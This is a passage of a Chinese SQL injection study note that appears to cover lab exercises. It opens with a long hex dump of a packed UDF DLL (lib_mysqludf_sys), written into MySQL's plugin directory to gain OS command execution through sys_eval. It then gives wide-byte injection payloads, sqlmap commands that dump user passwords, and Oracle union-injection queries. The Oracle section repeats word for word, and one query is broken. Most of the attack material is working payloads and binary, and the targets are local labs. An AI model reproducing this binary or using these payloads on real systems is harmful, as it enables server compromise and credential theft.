75727222502A636573734914E283CD1226135469636BB6FD6E03026E6B517565727950036684DEDBB1F66D616E3716657218446973676FDBDBCF374C6962727879436192731A52746C633BB76D0970A2722D2C7874124CBDB5ADFD6F6F6B7570463EC26916B2747279DFB5078B17CD556E77E47E4973446562736F6BED75676763A7A56583E11DFEB6B77268616E64457883704046696CA56C85C58719F19319DAB61254176D65151153DAF6586B39352B537973176DFA81E87517454173426509A3DBFE434388A0895F616D73675FCC6990B3850BBF5F5F435F73708B6966285F7E267CDB766F5F64116F035F706F6922430B76DB2663DA5F64CE280009626B31142D325F7A13C417840B5F7B50705B6C735F330A6C212205DB5ACCD82A58096E73ED6BC982130FD76D643ED6BAD6DE756C343F15416D170CDEA3E0020AB52689A3B565C933A196063BC16DB15B0772652508661115080D5BA1739C29709F73149BB5ADB93932AE6E074D0F85D7BADBC56F736A663A70105E3B84ED70705831747B6D343FDF15F4C700F08C21180800E264860600A76EFB0FE327A15AE6F00022200B020808120CB07744B314132E0010000005CF1E6C9B02020433050002088000C302F663146D160100022E063AF76C650F0A50394330908DE8DB88223C1460E2D880D4BD0118020183703AACBB024B00303A011E4644A42B2E1054822D3BD810901200DC00B3DBC63B6F602E7264A76108550B53597761DD000C03162740022E26291B61F600D805100C22273616ECECC02E702850EB27244FD820FC007273726300136027B3C7013226650942FCA664B0702728421B4036C08D6D05CA7212D3060000000000009000FF0048894C240848895424104C8944241880FA010F854502000053565755488D35CDF0FFFF488DBE0080FFFF5731DB31C94883CDFFE85000000001DB7402F3C38B1E4883EEFC11DB8A16F3C3488D042F83F9058A1076214883FDFC771B83E9048B104883C00483E9048917488D7F0473EF83C1048A10741048FFC0881783E9018A10488D7F0175F0F3C3FC415BEB0848FFC6881748FFC78A1601DB750A8B1E4883EEFC11DB8A1672E68D410141FFD311C001DB750A8B1E4883EEFC11DB8A1673EB83E8037217C1E0080FB6D209D048FFC683F0FF0F843A0000004863E88D410141FFD311C941FFD311C9751889C183C00241FFD311C901DB75088B1E4883EEFC11DB73ED4881FD00F3FFFF11C1E83AFFFFFFEB835E4889F7B900120000B2004889FBEB2C8A074883C7013C80720A3C8F7706807FFE0F74062CE83C0177233817751F8B072500FFFFFF0FC829F801D8AB4883E9048A074883C70148FFC975D9EB0548FFC975BE4883EC28488DBE007000008B0709C0744F8B5F04488D8C30B0A100004801F34883C708FF96ECA1000048958A0748FFC708C074D74889F94889FAFFC8F2AE4889E9FF96F4A100004809C074094889034883C308EBD64883C4285D5F5E5B31C0C34883C4284883C704488D5EFC31C08A0748FFC709C074233CEF77114801C3488B03480FC84801F0488903EBE0240FC1E010668B074883C702EBE1488BAEFCA10000488DBE00F0FFFFBB00100000504989E141B8040000004889DA4889F94883EC20FFD5488D871702000080207F8060287F4C8D4C24204D8B014889DA4889F9FFD54883C4285D5F5E5B488D4424806A004839C475F94883EC804C8B442418488B542410488B4C2408E91F79FFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005CB0000054010000E404000000000000586000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564338302E435254222076657273696F6E3D22382E302E35303630382E30222070726F636573736F724172636869746563747572653D22616D64363422207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E0000000000000000000000002CB20000ECB1000000000000000000000000000039B200001CB20000000000000000000000000000000000000000000044B200000000000052B200000000000062B200000000000072B200000000000080B200000000000000000000000000008EB200000000000000000000000000004B45524E454C33322E444C4C004D5356435238302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C46726565000000667265650000000000000000A727A15A0000000074B30000010000001200000012000000C0B2000008B3000050B300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000C010000000130000E0120000A011000089B300009FB30000BCB30000D7B30000E3B30000F6B3000007B4000010B4000020B400002EB4000037B4000047B4000055B400005DB400006CB4000079B4000081B4000090B4000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') into dumpfile 'D:/ProgramFiles/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys.dll'

image-20240619204154437

成功写入

image-20240619204437798

从导入的dll文件创建执行命令的函数sys_eval()

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

直接利用创建的sys_eval()函数来执行命令

select sys_eval("ipconfig");

1.10 宽字节注入

php mysql_real_escape_string()函数:转义在SQL语句中使用字符串的特殊字符,进而防御SQL注入。

宽字节注入的原理:数据库后端使用双/多字节的编码方式来解析SQL语句,其中在该种字符集范围中包含低字节位是0x5C即\字符,这样就会导致转义字符失效从而实现绕过注入

编码格式:GBK 编码范围:0x8140~0xFEFE(包含0xDF5C)

image-20240620121449959

0x5C即\字符,如果前面加DF,则0xDF5C组成为一个汉字

set Names xx 可以同时设置

SET character_set_client=XX;
SET character_set_connection=XX;
SET character_set_results=XX;

靶场:sqli-labs Less-36

前提:set Names gbk

?id=1%df' and 1=1%23
?id=1%df' and 1=2%23
?id=0%df' union select 1,null,group_concat(concat_ws(char(32,58,32),username,password)) from users%23

sqlmap使用

官网:sql,ap.org (sqlmap.org)

image-20240620124201989

一些参数及含义:

-h或--hh参数:查看sqlmap的参数信息,双h显示全部
-v          显示详细信息,有1-6级,默认为1
--version    查看版本信息
-u:         指定url地址,用双引号括起来,一定要存在变量名称
-p:			只对指定的参数进行注入		

实例:

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id

image-20240620213617187

--users参数:查看当前数据库所有用户
--banner参数:查看数据库版本信息
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id --users --banner

image-20240620214006095

--dbs:查看目标数据库系统的所有库
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id --dbs

image-20240620214313408

image-20240620214339074

-d:指定数据库
--tables:查看指定库中的所有表
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id  -D security --tables

image-20240620214548947

-T  :指定表
--columns:查看指定库表中的所有字段
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id  -T users --columns

image-20240620214741573

--C: 指定字段
--dump:  获取指定数据
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -p id  -D security -T users -C password  --dump

image-20240620215103758

不加-C 可打印该表的所有信息

--cookie参数:指定cookie头,用于认证
--batch:采取默认选项,不进行询问
--data:使用POST方式来发送参数内容(--data="id=1"
-r:指定保存了HTTP请求内容的文件

2. Oracle

在Oracle中每个表空间中均存在一张虚拟表dual,该表没有实际的存储意义、永远只存储一条数据。dual是Oracle提供的最小工作表,只有一行一列,用于构成select的语法规则,Oracle保证dual里面永远只有一条记录。在Oracle中,select语句是不能不带表的,在没有表的情况下可以使用dual来构造语句,如select 1from dual;

select column,group_function(column) from table 
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];

如何确定为Ora数据库

其报错信息有ORA

image-20240625103251395

通过

1' and 1=1 --
1' and 1=2 --

判断是否存在注入

通过

' union select null,null from dual -- 

判断有几个字段,然后修改null,为字符串或数字,判断类型

查询数据库版本信息:

1' union select null,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%') from dual -- 
1' union select null,(SELECT version FROM v$version from dual -- 

查询数据库名:

1' union select null,(SELECT name FROM v$database) from dual -- 
1' union select null,(SELECT global_name FROM global_name) from dual --

查询用户权限:LISTAGG相当于mysql的group_concat,rownum限制行数,类似于mysql的limit

1' union select null,(select LISTAGG(PRIVILEGE,',') within group (order by PRIVILEGE) name from session_privs where rownum <=10) from dual -- 前10行
1' union select null,(select LISTAGG(PRIVILEGE,',') within group (order by PRIVILEGE) name from (select rownum rn,t.* from session_privs t) where rn<=10 and rn>=1) from dual--  第1-10行

查询表信息:

1' union select null,(select LISTAGG(table_name,',') within group (order by owner) name from all_tables where owner='PENTEST') from dual -- 

SQL注入防御

  1. 过滤特殊字符
  2. 预编译:提前声明且编译特定格式的sql语句,将所有的外部输入视为纯字符串。

通过

' union select null,null from dual -- 

判断有几个字段,然后修改null,为字符串或数字,判断类型

查询数据库版本信息:

1' union select null,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%') from dual -- 
1' union select null,(SELECT version FROM v$version from dual -- 

查询数据库名:

1' union select null,(SELECT name FROM v$database) from dual -- 
1' union select null,(SELECT global_name FROM global_name) from dual --

查询用户权限:LISTAGG相当于mysql的group_concat,rownum限制行数,类似于mysql的limit

1' union select null,(select LISTAGG(PRIVILEGE,',') within group (order by PRIVILEGE) name from session_privs where rownum <=10) from dual -- 前10行
1' union select null,(select LISTAGG(PRIVILEGE,',') within group (order by PRIVILEGE) name from (select rownum rn,t.* from session_privs t) where rn<=10 and rn>=1) from dual--  第1-10行

查询表信息:

1' union select null,(select LISTAGG(table_name,',') within group (order by owner) name from all_tables where owner='PENTEST') from dual -- 

SQL注入防御

  1. 过滤特殊字符
  2. 预编译:提前声明且编译特定格式的sql语句,将所有的外部输入视为纯字符串。
;